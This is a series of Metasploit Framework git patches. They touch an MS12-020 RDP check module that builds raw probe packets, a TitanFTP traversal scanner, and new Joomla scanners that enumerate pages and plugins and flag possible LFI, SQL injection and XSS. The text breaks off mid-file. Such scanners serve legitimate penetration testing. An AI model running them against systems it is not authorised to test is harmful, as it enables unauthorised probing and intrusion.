@@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report From 4824d11ff37e1e89e02c9c270d4ae1c70229d1a7 Mon Sep 17 00:00:00 2001 From: Brandon McCann Date: Fri, 25 Jan 2013 12:14:41 -0600 Subject: [PATCH 037/129] removed white space --- modules/auxiliary/scanner/rdp/ms12-020_check.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/scanner/rdp/ms12-020_check.rb b/modules/auxiliary/scanner/rdp/ms12-020_check.rb index 5e2aa8dcc4..cd991f7005 100644 --- a/modules/auxiliary/scanner/rdp/ms12-020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12-020_check.rb @@ -1,5 +1,3 @@ - - require 'msf/core' class Metasploit3 < Msf::Auxiliary From 7d4e7676ced690dd1851070e22e01edc103b0ded Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 25 Jan 2013 13:04:20 -0600 Subject: [PATCH 038/129] This file has a MSF license, needs the header --- modules/auxiliary/scanner/rdp/ms12-020_check.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/rdp/ms12-020_check.rb b/modules/auxiliary/scanner/rdp/ms12-020_check.rb index cd991f7005..5d3ef51859 100644 --- a/modules/auxiliary/scanner/rdp/ms12-020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12-020_check.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary @@ -31,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptInt.new('RPORT', [ true, 'Remote port running RDP', '3389' ]), + OptInt.new('RPORT', [ true, 'Remote port running RDP', '3389' ]) ], self.class) end From 0a4fadcb098d2eadc7a646bb8be101b91ee8a4c2 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 25 Jan 2013 13:07:13 -0600 Subject: [PATCH 039/129] Comments don't seem to align properly w/ tabs --- .../auxiliary/scanner/rdp/ms12-020_check.rb | 92 +++++++++---------- 1 file changed, 46 insertions(+), 46 deletions(-) diff --git a/modules/auxiliary/scanner/rdp/ms12-020_check.rb b/modules/auxiliary/scanner/rdp/ms12-020_check.rb index 5d3ef51859..93dc4bc58a 100644 --- a/modules/auxiliary/scanner/rdp/ms12-020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12-020_check.rb @@ -64,13 +64,13 @@ class Metasploit3 < Msf::Auxiliary def connectionRequest() packet = '' + - "\x03\x00" + # TPKT Header version 03, reserved 0 - "\x00\x0b" + # Length - "\x06" + # X.224 Data TPDU length - "\xe0" + # X.224 Type (Connection request) - "\x00\x00" + # dst reference - "\x00\x00" + # src reference - "\x00" # class and options + "\x03\x00" + # TPKT Header version 03, reserved 0 + "\x00\x0b" + # Length + "\x06" + # X.224 Data TPDU length + "\xe0" + # X.224 Type (Connection request) + "\x00\x00" + # dst reference + "\x00\x00" + # src reference + "\x00" # class and options return packet end @@ -88,49 +88,49 @@ class Metasploit3 < Msf::Auxiliary def connectInitial() packet = '' + - "\x03\x00\x00\x65" + # TPKT Header - "\x02\xf0\x80" + # Data TPDU, EOT - "\x7f\x65\x5b" + # Connect-Initial - "\x04\x01\x01" + # callingDomainSelector - "\x04\x01\x01" + # callingDomainSelector - "\x01\x01\xff" + # upwardFlag - "\x30\x19" + # targetParams + size - "\x02\x01\x22" + # maxChannelIds - "\x02\x01\x20" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\xff\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x30\x18" + # minParams + size - "\x02\x01\x01" + # maxChannelIds - "\x02\x01\x01" + # maxUserIds - "\x02\x01\x01" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x01\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x30\x19" + # maxParams + size - "\x02\x01\xff" + # maxChannelIds - "\x02\x01\xff" + # maxUserIds - "\x02\x01\xff" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\xff\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x04\x00" # userData + "\x03\x00\x00\x65" + # TPKT Header + "\x02\xf0\x80" + # Data TPDU, EOT + "\x7f\x65\x5b" + # Connect-Initial + "\x04\x01\x01" + # callingDomainSelector + "\x04\x01\x01" + # callingDomainSelector + "\x01\x01\xff" + # upwardFlag + "\x30\x19" + # targetParams + size + "\x02\x01\x22" + # maxChannelIds + "\x02\x01\x20" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x18" + # minParams + size + "\x02\x01\x01" + # maxChannelIds + "\x02\x01\x01" + # maxUserIds + "\x02\x01\x01" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x01\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # maxParams + size + "\x02\x01\xff" + # maxChannelIds + "\x02\x01\xff" + # maxUserIds + "\x02\x01\xff" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x04\x00" # userData return packet end def userRequest() packet = '' + - "\x03\x00" + # header - "\x00\x08" + # length - "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) - "\x28" # PER encoded PDU contents + "\x03\x00" + # header + "\x00\x08" + # length + "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) + "\x28" # PER encoded PDU contents return packet end @@ -178,7 +178,7 @@ class Metasploit3 < Msf::Auxiliary channel_one_res = sock.recv(1024) if channel_one_res.unpack("H*").to_s[16..19] == '3e00' # vulnerable - print_good("#{peer} - Vulnerable MS12-020") + print_good("#{peer} - Vulnerable to MS12-020") report_goods # send ChannelRequestTwo - prevent bsod From 0490b4a853a076ef11e88b8f10fffa1d4603c5c0 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 25 Jan 2013 13:18:28 -0600 Subject: [PATCH 040/129] I wanna know where this thing is stored. --- modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index e28eaa0562..abe5c91903 100644 --- a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -100,6 +100,7 @@ class Metasploit3 < Msf::Auxiliary fname = datastore['PATH'].gsub(/[\/\\]/, '_') p = store_loot("titanftp.traversal", "text/plain", "rhost", file_data, fname) + print_status("Saved in: #{p}") vprint_status(file_data.inspect) disconnect From d6e9f891ea566c316cf398abe0a507019544a28d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Jan 2013 20:44:49 +0100 Subject: [PATCH 041/129] Proposal for joomla-scanner --- .../auxiliary/scanner/http/joomla_pages.rb | 109 +++++++ .../auxiliary/scanner/http/joomla_plugins.rb | 175 ++++++++++ .../auxiliary/scanner/http/joomla_version.rb | 176 ++++++++++ .../auxiliary/scanner/http/joomla_vulnscan.rb | 303 ------------------ 4 files changed, 460 insertions(+), 303 deletions(-) create mode 100755 modules/auxiliary/scanner/http/joomla_pages.rb create mode 100755 modules/auxiliary/scanner/http/joomla_plugins.rb create mode 100755 modules/auxiliary/scanner/http/joomla_version.rb delete mode 100755 modules/auxiliary/scanner/http/joomla_vulnscan.rb diff --git a/modules/auxiliary/scanner/http/joomla_pages.rb b/modules/auxiliary/scanner/http/joomla_pages.rb new file mode 100755 index 0000000000..77218063a5 --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_pages.rb @@ -0,0 +1,109 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to + # Joomscan and various MSF modules for code examples. + def initialize + super( + 'Name' => 'Joomla Version Scanner', + 'Description' => %q{ + This module scans a Joomla install for common pages. + }, + 'Author' => [ 'newpid0' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' + tpath += '/' + end + + pages = [ + 'robots.txt', + 'administrator/index.php', + 'admin/', + 'index.php/using-joomla/extensions/components/users-component/registration-form', + 'index.php/component/users/?view=registration', + 'htaccess.txt' + ] + + vprint_status("#{peer} - Checking for interesting pages") + pages.each do |page| + scan_pages(tpath, page, ip) + end + + end + + def scan_pages(tpath, page, ip) + res = send_request_cgi({ + 'uri' => "#{tpath}#{page}", + 'method' => 'GET', + }) + return if not res or not res.body or not res.code + res.body.gsub!(/[\r|\n]/, ' ') + + if (res.code == 200) + note = "Page Found" + if (res.body =~ /Administration Login/ and res.body =~ /\(\'form-login\'\)\.submit/ or res.body =~/administration console/) + note = "Administrator Login Page" + elsif (res.body =~/Registration/ and res.body =~/class="validate">Register<\/button>/) + note = "Registration Page" + end + + print_good("#{peer} - #{note}: #{tpath}#{page}") + + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'joomla_page', + :data => "#{note}: #{tpath}#{page}", + :update => :unique_data + ) + elsif (res.code == 403) + if (res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + vprint_status("#{ip} denied access to #{ip} (SSL Required)") + elsif (res.body =~ /has a list of IP addresses that are not allowed/) + vprint_status("#{ip} restricted access by IP") + elsif (res.body =~ /SSL client certificate is required/) + vprint_status("#{ip} requires a SSL client certificate") + else + vprint_status("#{ip} ip access to #{ip} #{res.code} #{res.message}") + end + end + + return + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return + end + +end diff --git a/modules/auxiliary/scanner/http/joomla_plugins.rb b/modules/auxiliary/scanner/http/joomla_plugins.rb new file mode 100755 index 0000000000..37dff56fd4 --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_plugins.rb @@ -0,0 +1,175 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to + # Joomscan and various MSF modules for code examples. + def initialize + super( + 'Name' => 'Joomla Plugins Scanner', + 'Description' => %q{ + This module scans a Joomla install for plugins and potential + vulnerabilities. + }, + 'Author' => [ 'newpid0' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']), + OptPath.new('PLUGINS', [ true, "Path to list of plugins to enumerate", File.join(Msf::Config.install_root, "data", "wordlists", "joomla.txt")]) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' + tpath += '/' + end + + vprint_status("#{peer} - Checking for interesting plugins") + res = send_request_cgi({ + 'uri' => tpath, + 'method' => 'GET' + }) + return if res.nil? + + res.body.gsub!(/[\r|\n]/, ' ') + File.open(datastore['PLUGINS'], 'rb').each_line do |line| + papp = line.chomp + plugin_search(tpath, papp, ip, res.body.size) + end + end + + def plugin_search(tpath, papp, ip, osize) + res = send_request_cgi({ + 'uri' => "#{tpath}#{papp}", + 'method' => 'GET' + }) + return if res.nil? + + res.body.gsub!(/[\r|\n]/, ' ') + nsize = res.body.size + + if (res.code == 200 and res.body !~/#404 Component not found/ and res.body !~/

Joomla! Administration Login<\/h1>/ and osize != nsize) + print_good("#{peer} - Plugin: #{tpath}#{papp} ") + report_note( + :host => ip, + :port => rport, + :proto => 'http', + :ntype => 'joomla_plugin', + :data => "#{tpath}#{papp}", + :update => :unique_data + ) + + if (papp =~/passwd/ and res.body =~/root/) + print_good("#{peer} - Vulnerability: Potential LFI") + report_web_vuln( + :host => ip, + :port => rport, + :vhost => vhost, + :ssl => ssl, + :path => tpath, + :method => "GET", + :pname => "", + :proof => "Response with code #{res.code} contains the 'root' signature", + :risk => 1, + :confidence => 10, + :category => 'Local File Inclusion', + :description => "Joomla: Potential LFI at #{tpath}#{papp}", + :name => 'Local File Inclusion' + ) + elsif (res.body =~/SQL syntax/) + print_good("#{peer} - Vulnerability: Potential SQL Injection") + report_web_vuln( + :host => ip, + :port => rport, + :vhost => vhost, + :ssl => ssl, + :path => tpath, + :method => "GET", + :pname => "", + :proof => "Response with code #{res.code} contains the 'SQL syntax' signature", + :risk => 1, + :confidence => 10, + :category => 'SQL Injection', + :description => "Joomla: Potential SQLI at #{tpath}#{papp}", + :name => 'SQL Injection' + ) + elsif (papp =~/>alert/ and res.body =~/>alert/) + print_good("#{peer} - Vulnerability: Potential XSS") + report_web_vuln( + :host => ip, + :port => rport, + :vhost => vhost, + :ssl => ssl, + :path => tpath, + :method => "GET", + :pname => "", + :proof => "Response with code #{res.code} contains the '>alert' signature", + :risk => 1, + :confidence => 10, + :category => 'Cross Site Scripting', + :description => "Joomla: Potential XSS at #{tpath}#{papp}", + :name => 'Cross Site Scripting' + ) + elsif (papp =~/com_/) + vars = papp.split('_') + pages = vars[1].gsub('/','') + res1 = send_request_cgi({ + 'uri' => "#{tpath}index.php?option=com_#{pages}", + 'method' => 'GET' + }) + if (res1.code == 200) + print_good("#{peer} - Page: #{tpath}index.php?option=com_#{pages}") + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'joomla_page', + :data => "Page: #{tpath}index.php?option=com_#{pages}", + :update => :unique_data + ) + else + vprint_error("#{peer} - Page: #{tpath}index.php?option=com_#{pages} gave a #{res1.code} response") + end + end + elsif (res.code == 403) + if (res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + vprint_status("#{ip} ip access to #{ip} (SSL Required)") + elsif (res.body =~ /has a list of IP addresses that are not allowed/) + vprint_status("#{ip} restricted access by IP") + elsif (res.body =~ /SSL client certificate is required/) + vprint_status("#{ip} requires a SSL client certificate") + else + vprint_status("#{ip} denied access to #{ip}#{tpath}#{papp} - #{res.code} #{res.message}") + end + end + return + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return + end + +end diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb new file mode 100755 index 0000000000..5ccdfe89d7 --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -0,0 +1,176 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to + # Joomscan and various MSF modules for code examples. + def initialize + super( + 'Name' => 'Joomla Version Scanner', + 'Description' => %q{ + This module scans a Joomla install for information about the underlying + operating system and Joomla version. + }, + 'Author' => [ 'newpid0' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def os_fingerprint(response) + if not response.headers.has_key?('Server') + return "Unkown OS (No Server Header)" + end + + case response.headers['Server'] + when /Win32/ + when /\(Windows/ + when /IIS/ + os = "Windows" + when /Apache\// + os = "*Nix" + else + os = "Unknown Server Header Reporting: "+response.headers['Server'] + end + return os + end + + def fingerprint(response) + case response.body + when /(.+)<\/version\/?>/i + v = $1 + out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" + when /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/ + when /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/ + when /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/ + when /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/ + when /20196 2011\-01\-09 02\:40\:25Z ian/ + out = "1.6" + when /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley / + when /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/ + when /22183 2011\-09\-30 09\:04\:32Z infograf768/ + when /21660 2011\-06\-23 13\:25\:32Z infograf768/ + out = "1.7" + when /Joomla! 1.5/ + when /MooTools\=\{version\:\'1\.12\'\}/ + when /11391 2009\-01\-04 13\:35\:50Z ian/ + out = "1.5" + when /Copyright \(C\) 2005 \- 2012 Open Source Matters/ + when /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ + out = "2.5" + when /\s+ "#{tpath}#{file}", + 'method' => 'GET' + }) + + return :abort if res.nil? + + res.body.gsub!(/[\r|\n]/, ' ') + + if (res.code == 200) + os = os_fingerprint(res) + out = fingerprint(res) + return false if not out + + if(out =~ /Unknown Joomla/) + print_error("#{peer} - Unable to identify Joomla Version with #{file}") + return false + else + print_good("#{peer} - Joomla Version:#{out} from: #{file} ") + print_good("#{peer} - OS: #{os}") + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'http', + :ntype => 'joomla_version', + :data => out + ) + return true + end + elsif (res.code == 403) + if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + vprint_status("#{ip} denied access to #{ip} (SSL Required)") + elsif(res.body =~ /has a list of IP addresses that are not allowed/) + vprint_status("#{ip} restricted access by IP") + elsif(res.body =~ /SSL client certificate is required/) + vprint_status("#{ip} requires a SSL client certificate") + else + vprint_status("#{ip} denied access to #{ip} #{res.code} #{res.message}") + end + return :abort + end + + return false + + rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return :abort + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return :abort + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return :abort + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' + tpath += '/' + end + + files = [ + 'language/en-GB/en-GB.xml', + 'templates/system/css/system.css', + 'media/system/js/mootools-more.js', + 'language/en-GB/en-GB.ini', + 'htaccess.txt', + 'language/en-GB/en-GB.com_media.ini' + ] + + vprint_status("#{peer} - Checking Joomla version") + files.each do |file| + joomla_found = check_file(tpath, file, ip) + return if joomla_found == :abort + break if joomla_found + end + end + +end diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb deleted file mode 100755 index 2ad9d2f040..0000000000 --- a/modules/auxiliary/scanner/http/joomla_vulnscan.rb +++ /dev/null @@ -1,303 +0,0 @@ -## -# $Id: joomla_vulnscan.rb -## -## -# Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to Joomscan and various MSF modules for code examples. -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report - - def initialize - super( - 'Name' => 'Joomla Scanner', - 'Description' => %q{ - This module scans a Joomla install for information, plugins and potential vulnerabilites. - }, - 'Author' => [ 'newpid0' ], - 'License' => MSF_LICENSE - ) - register_options( - [ - OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']), - OptBool.new('ENUMERATE', [ false, "Enumerate Plugins", true]), - - OptPath.new('PLUGINS', [ false, "Path to list of plugins to enumerate", - File.join(Msf::Config.install_root, "data", "wordlists", "joomla.txt") - ] - ) - - ], self.class) - end - - def osfingerprint(response) - if(response.headers.has_key?('Server') ) - if(response.headers['Server'] =~/Win32/ or response.headers['Server'] =~ /\(Windows/ or response.headers['Server'] =~ /IIS/) - os = "Windows" - elsif(response.headers['Server'] =~ /Apache\// and response.headers['Server'] !~/(Win32)/) - os = "*Nix" - else - os = "Unknown Server Header Reporting: "+response.headers['Server'] - end - end - return os - end - - def fingerprint(response) - if(response.body =~ /(.+)<\/version\/?>/i) - v = $1 - out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" - elsif(response.body =~ /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/ or - response.body =~ /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/ or - response.body =~ /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/ or - response.body =~ /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/ or - response.body =~/20196 2011\-01\-09 02\:40\:25Z ian/) - out = "1.6" - elsif(response.body =~ /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley / or - response.body =~ /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/ or response.body =~ /22183 2011\-09\-30 09\:04\:32Z infograf768/ or response.body =~ /21660 2011\-06\-23 13\:25\:32Z infograf768/) - out = "1.7" - elsif(response.body =~ /Joomla! 1.5/ or - response.body =~ /MooTools\=\{version\:\'1\.12\'\}/ or response.body =~ /11391 2009\-01\-04 13\:35\:50Z ian/) - out = "1.5" - elsif(response.body =~ /Copyright \(C\) 2005 \- 2012 Open Source Matters/ or - response.body =~ /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ ) - out = "2.5" - elsif(response.body =~ /\s+ tpath, - 'method' => 'GET', - }, 5) - return if not bres or not bres.body or not bres.code - bres.body.gsub!(/[\r|\n]/, ' ') - File.open(datastore['PLUGINS'], 'rb').each_line do |bapp| - papp = bapp.chomp - plugin_search(tpath,papp,ip,bres) - end - end - end - - def check_app(tpath, app, ip) - res = send_request_cgi({ - 'uri' => "#{tpath}" << app, - 'method' => 'GET', - }) - return :abort if res.nil? - return if not res or not res.body or not res.code - res.body.gsub!(/[\r|\n]/, ' ') - os = osfingerprint(res) - if (res.code == 200) - out = fingerprint(res) - return if not out - if(out =~ /Unknown Joomla/) - print_error("#{peer} - Unable to identify Joomla Version with this file #{app}") - return false - else - print_good("#{peer} - Joomla Version:#{out} from: #{app} ") - print_good("#{peer} - OS: #{os}") - report_note( - :host => ip, - :port => datastore['RPORT'], - :proto => 'http', - :ntype => 'Joomla Version', - :data => out - ) - return true - end - elsif(res.code == 403) - if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - vprint_status("#{ip} denied access to #{ip} (SSL Required)") - elsif(res.body =~ /has a list of IP addresses that are not allowed/) - vprint_status("#{ip} restricted access by IP") - elsif(res.body =~ /SSL client certificate is required/) - vprint_status("#{ip} requires a SSL client certificate") - else - vprint_status("#{ip} denied access to #{ip} #{res.code} #{res.message}") - end - else - return - end - rescue OpenSSL::SSL::SSLError - vprint_error("#{peer} - SSL error") - return - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - vprint_error("#{peer} - Unable to Connect") - return - rescue ::Timeout::Error, ::Errno::EPIPE - vprint_error("#{peer} - Timeout error") - return - end - - def scan_pages(tpath, iapp, ip) - res = send_request_cgi({ - 'uri' => "#{tpath}" << iapp, - 'method' => 'GET', - }) - return if not res or not res.body or not res.code - res.body.gsub!(/[\r|\n]/, ' ') - if (res.code == 200) - if(res.body =~ /Administration Login/ and res.body =~ /\(\'form-login\'\)\.submit/ or res.body =~/administration console/) - sout = "**Administrator Login Page" - elsif(res.body =~/Registration/ and res.body =~/class="validate">Register<\/button>/) - sout = "**Registration Page" - else - sout = iapp - end - return if not sout - if(sout == iapp) - print_good("#{peer} - Page: #{tpath}#{iapp}") - elsif print_good("#{peer} - Page: #{tpath}#{iapp} #{sout}") - report_note( - :host => ip, - :port => datastore['RPORT'], - :proto => 'http', - :ntype => 'Joomla Pages', - :data => sout - ) - end - elsif(res.code == 403) - if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - vprint_status("#{ip} denied access to #{ip} (SSL Required)") - elsif(res.body =~ /has a list of IP addresses that are not allowed/) - vprint_status("#{ip} restricted access by IP") - elsif(res.body =~ /SSL client certificate is required/) - vprint_status("#{ip} requires a SSL client certificate") - else - vprint_status("#{ip} ip access to #{ip} #{res.code} #{res.message}") - end - else - return - end - rescue OpenSSL::SSL::SSLError - vprint_error("#{peer} - SSL error") - return - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - vprint_error("#{peer} - Unable to Connect") - return - rescue ::Timeout::Error, ::Errno::EPIPE - vprint_error("#{peer} - Timeout error") - return - end - - def plugin_search(tpath, papp, ip, bres) - res = send_request_cgi({ - 'uri' => "#{tpath}" << papp, - 'method' => 'GET', - }) - return if not res or not res.body or not res.code - res.body.gsub!(/[\r|\n]/, ' ') - osize = bres.body.size - nsize = res.body.size - if (res.code == 200 and res.body !~/#404 Component not found/ and res.body !~/

Joomla! Administration Login<\/h1>/ and osize != nsize) - print_good("#{peer} - Plugin: #{tpath}#{papp} ") - if (papp =~/passwd/ and res.body !~/root/) - vprint_error("#{peer} - Vulnerability: LFI not found") - elsif(papp =~/passwd/ and res.body =~/root/) - print_good("#{peer} - Vulnerability: Potential LFI") - elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body =~/SQL syntax/) - print_good("#{peer} - Vulnerability: Potential SQL Injection") - elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body !~/SQL syntax/) - vprint_error("#{peer} - Vulnerability: Unable to identify SQL injection") - elsif(papp =~/>alert/ and res.body !~/>alert/) - vprint_error("#{peer} - Vulnerability: No XSS") - elsif(papp =~/>alert/ and res.body =~/>alert/) - print_good("#{peer} - Vulnerability: Potential XSS") - elsif(res.body =~/SQL syntax/ ) - print_good("#{peer} - Vulnerability: Potential SQL Injection") - elsif(papp =~/com_/) - vars = papp.split('_') - pages = vars[1].gsub('/','') - res1 = send_request_cgi({ - 'uri' => "#{tpath}"<<"index.php?option=com_#{pages}", - 'method' => 'GET', - }, 5) - if (res1.code == 200) - print_good("#{peer} - Page: #{tpath}index.php?option=com_#{pages}") - else - vprint_error("#{peer} - Page: #{tpath}"<<"index.php?option=com_#{pages} gave a #{res1.code.to_s} response") - end - end - report_note( - :host => ip, - :port => datastore['RPORT'], - :proto => 'http', - :ntype => 'Plugin Found', - :data => papp - ) - elsif(res.code == 403) - if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - vprint_status("#{ip} ip access to #{ip} (SSL Required)") - elsif(res.body =~ /has a list of IP addresses that are not allowed/) - vprint_status("#{ip} restricted access by IP") - elsif(res.body =~ /SSL client certificate is required/) - vprint_status("#{ip} requires a SSL client certificate") - else - vprint_status("#{ip} denied access to #{ip}#{tpath}#{papp} - #{res.code} #{res.message}") - end - else - return - end - - rescue OpenSSL::SSL::SSLError - vprint_error("#{peer} - SSL error") - return - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - vprint_error("#{peer} - Unable to Connect") - return - rescue 